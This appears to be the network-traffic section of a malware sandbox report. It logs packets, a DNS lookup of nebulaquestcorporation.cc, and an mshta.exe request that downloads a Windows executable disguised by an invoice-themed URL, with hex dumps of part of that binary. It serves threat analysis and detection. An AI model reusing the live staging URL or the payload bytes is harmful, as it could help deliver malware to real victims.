Jul 2, 2024 12:47:28.454885006 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.483083010 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.483114004 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.483158112 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.483186007 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.483237982 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.510763884 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.510803938 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.510878086 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.510901928 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.510936975 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.544863939 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.544893980 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.544980049 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.545006037 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.545124054 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.545124054 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.545147896 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.545912027 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.545937061 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546004057 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546015978 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.546029091 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546066999 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546077967 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.546102047 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.546892881 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546914101 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.546966076 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.546977997 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.547007084 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.547724962 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.547751904 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.547786951 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.547796965 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.547825098 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.554965019 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.555037022 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.575498104 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.575531960 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.575618982 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.575647116 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.602018118 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.602061033 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.602233887 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.602233887 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.602257013 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630140066 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630173922 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630255938 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.630285025 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630306959 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.630462885 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630491972 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630523920 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.630541086 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630553961 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.630857944 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630880117 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630912066 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.630923033 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.630935907 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.631575108 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.631606102 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.631650925 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.631663084 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.631675959 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.632435083 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.632460117 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.632534981 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.632548094 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.632556915 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.633332014 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.633363008 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.633398056 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.633407116 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.633429050 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.664717913 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.664751053 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.664973974 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.664994955 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.689024925 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.689062119 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.689105988 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.689136028 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.689150095 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.718940020 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.718971014 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719039917 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.719065905 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719089985 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.719290972 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719316006 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719341040 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.719351053 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719379902 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.719773054 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719791889 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719841003 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.719852924 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.719873905 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.720793009 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.720820904 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.720861912 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.720874071 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.720910072 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.721463919 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.721483946 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.721550941 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.721564054 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.721576929 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.722300053 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.722325087 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.722378969 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.722387075 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.722420931 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.754349947 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.754381895 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.754417896 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.754435062 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.754468918 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.779341936 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.779381037 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.779424906 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.779445887 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.779479027 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.807838917 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.807873011 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.807909966 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.807938099 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.807985067 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.808218002 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.808242083 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.808276892 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.808288097 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.808300972 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.808954000 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.808983088 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.809026957 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.809036016 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.809048891 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.809847116 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.809870005 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.809906960 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.809915066 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.809931993 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.810544968 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.810563087 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.810595036 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.810605049 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.810628891 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.811007977 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.811032057 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.811067104 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.811077118 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.811094046 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.847202063 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.847223997 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.847269058 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.847285032 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.847316980 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868021011 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868051052 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868113041 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868124008 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868299961 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868350983 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868419886 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868427038 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868447065 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:28.868465900 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868494034 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:28.868796110 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:40.173551083 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.173572063 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.173753023 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.176141977 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.176156998 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.762943029 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.763221979 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.763252020 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.764336109 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.764394045 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.792608976 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.792799950 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.792843103 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.840503931 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.879062891 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.879092932 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.925857067 CEST	443	49723	104.77.220.172	192.168.2.8
Jul 2, 2024 12:47:40.925959110 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.927369118 CEST	49723	443	192.168.2.8	104.77.220.172
Jul 2, 2024 12:47:40.927392006 CEST	443	49723	104.77.220.172	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 12:47:20.080583096 CEST	59193	53	192.168.2.8	1.1.1.1
Jul 2, 2024 12:47:20.429162025 CEST	53	59193	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 12:47:20.080583096 CEST	192.168.2.8	1.1.1.1	0x3865	Standard query (0)	nebulaquestcorporation.cc	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 12:47:20.429162025 CEST	1.1.1.1	192.168.2.8	0x3865	No error (0)	nebulaquestcorporation.cc		5.188.88.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

nebulaquestcorporation.cc

armmf.adobe.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	5.188.88.146	443	4996	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 10:47:21 UTC	351	OUT	GET /cdnusa/invoiceupsstage HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: nebulaquestcorporation.cc Connection: Keep-Alive
2024-07-02 10:47:22 UTC	211	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 02 Jul 2024 10:47:21 GMT Content-Length: 200872 Connection: close Last-Modified: Wed, 12 Jun 2024 12:19:07 GMT ETag: "310a8-61ab0638cc4c0" Accept-Ranges: bytes
2024-07-02 10:47:22 UTC	16173	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 92 a2 1d f1 f3 cc 4e f1 f3 cc 4e f1 f3 cc 4e e5 98 c9 4f f0 f3 cc 4e e5 98 cf 4f f3 f3 cc 4e e5 98 c8 4f e5 f3 cc 4e e5 98 cd 4f f8 f3 cc 4e f1 f3 cd 4e c4 f3 cc 4e e5 98 c5 4f f2 f3 cc 4e e5 98 33 4e f0 f3 cc 4e e5 98 ce 4f f0 f3 cc 4e 52 69 63 68 f1 f3 cc 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 4a 8a 5c 2d 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NNNONONONONNNON3NNONRichNPELJ\-
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 07 08 0c 0c 0c 16 00 00 00 00 00 00 00 00 00 39 0c 0c 0c 07 4b ff ff 62 15 5f ff 5c 22 65 ff ff 49 08 0c 0c 0c 20 00 00 00 00 00 00 00 00 00 4b 0c 0c 08 4b ff ff 67 22 04 5f ff 5c 04 39 ff ff 6f 28 0c 0c 0c 2f 00 00 00 00 00 00 00 00 00 00 0c 0c 0c 45 ff 62 18 07 07 5f ff 5c 18 63 ff ff 57 0c 0c 0c 0c 43 00 00 00 00 00 00 00 00 00 00 0c 0c 0c 07 3c 22 07 08 07 5f ff 5c 60 ff ff 54 07 0c 0c 0c 0c 00 00 00 00 00 00 00 00 00 00 00 3d 0c 0c 0c 0c 0c 0c 08 08 5f ff ff ff ff 54 07 07 0c 0c 0c 28 00 00 00 00 00 00 00 00 00 00 00 00 0c 0c 0c 0c 0c 0c 0c 0c 5f ff ff ff 54 04 08 0c 0c 0c 0c 51 00 00 00 00 00 00 00 00 00 00 00 00 54 0c 0c 0c 0c 0c 0c 0c 5f ff ff 4b 07 08 0c 0c 0c 0c 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 0c 0c 0c 0c 0c 0c 5f 74 54 07 07 0c Data Ascii: 9Kb_\"eI KKg"_\9o(/Eb_\cWC<"_\`T=_T(_TQT_KAI_tT
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 64 32 07 ff c4 b1 a1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 f8 ff a0 81 67 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 5b 2a 00 f1 00 00 00 59 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 2c 00 e7 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff be a8 96 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ,`,`,`,`,`,`,`,d2g`,`,`,`,`,`,`,`,`,`,`,`,[*Y_,`,`,`,`,`,`,`,`,`,`,`,
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 20 74 79 70 65 3d 22 77 69 6e 33 32 22 2f 3e 0d 0a 0d 0a 20 20 3c 64 65 73 63 72 69 70 74 69 6f 6e 3e 42 6c 75 65 74 6f 6f 74 68 20 55 6e 69 6e 73 74 61 6c 6c 20 44 65 76 69 63 65 20 54 61 73 6b 3c 2f 64 65 73 63 72 69 70 74 69 6f 6e 3e 0d 0a 0d 0a 20 20 3c 21 2d 2d 20 49 64 65 6e 74 69 66 79 20 74 68 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2e 20 2d 2d 3e 0d 0a 0d 0a 20 20 3c 74 72 75 73 74 49 6e 66 6f 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 33 22 3e 0d 0a 20 20 20 20 3c 73 65 63 75 72 69 74 79 3e 0d 0a 20 20 20 20 20 20 3c 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 73 3e 0d 0a 20 20 20 20 20 20 20 20 3c Data Ascii: type="win32"/> <description>Bluetooth Uninstall Device Task</description> ... Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5d 2b 00 1e 5e 2b 00 91 60 2c 00 fd 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff c5 b1 a1 ff a2 85 6b ff 57 20 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 fe 52 26 00 a5 38 1a 00 32 00 00 00 06 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 2b 00 60 5e 2b 00 bd 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 5e 29 00 ff 5f 2a 00 ff 60 2c 00 ff 60 2c 00 ff 60 2c 00 ff 59 29 00 c7 51 25 00 70 00 00 00 0d 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ]+^+`,`,`,`,`,kW `,`,`,`,`,R&82^+`^+`,`,`,`,^)_*`,`,`,Y)Q%p
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 4e 2c 71 65 2c 47 49 2c 47 49 2c 63 57 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 57 57 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 47 49 2c 47 49 2c 47 49 2c 71 65 2c 47 49 2c 47 49 2c 56 4c 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 6e 46 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 52 4e 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 57 57 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 57 57 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 57 57 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 6e 46 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 Data Ascii: N,qe,GI,GI,cW,qe,WW,EG,EG,WW,qe,GI,GI,MT,qe,GI,GI,GI,qe,GI,GI,VL,qe,WW,EG,EG,EG,qe,WW,EG,WW,zp,qe,WW,EG,WW,nF,qe,WW,EG,WW,zp,qe,WW,EG,WW,RN,qe,GI,GI,MT,qe,WW,EG,WW,WW,qe,WW,EG,WW,WW,qe,WW,EG,EG,EG,qe,WW,EG,EG,EG,qe,WW,EG,WW,WW,qe,WW,EG,EG,nF,qe,GI,GI,MT,q
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 2c 45 47 2c 45 47 2c 57 57 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 47 49 2c 47 49 2c 47 49 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 56 4c 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 4d 54 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 57 57 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 6e 46 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 47 49 2c 47 49 2c 65 48 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 47 49 2c 47 49 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 Data Ascii: ,EG,EG,WW,qe,WW,EG,WW,zp,qe,GI,GI,GI,qe,WW,EG,WW,MT,qe,WW,EG,EG,EG,qe,WW,EG,WW,zp,qe,WW,EG,WW,zp,qe,WW,EG,WW,VL,qe,GI,GI,MT,qe,WW,EG,WW,MT,qe,GI,GI,MT,qe,WW,EG,WW,WW,qe,GI,GI,MT,qe,WW,EG,EG,nF,qe,WW,EG,EG,EG,qe,GI,GI,eH,qe,WW,EG,EG,EG,qe,GI,GI,MT,qe,WW,EG
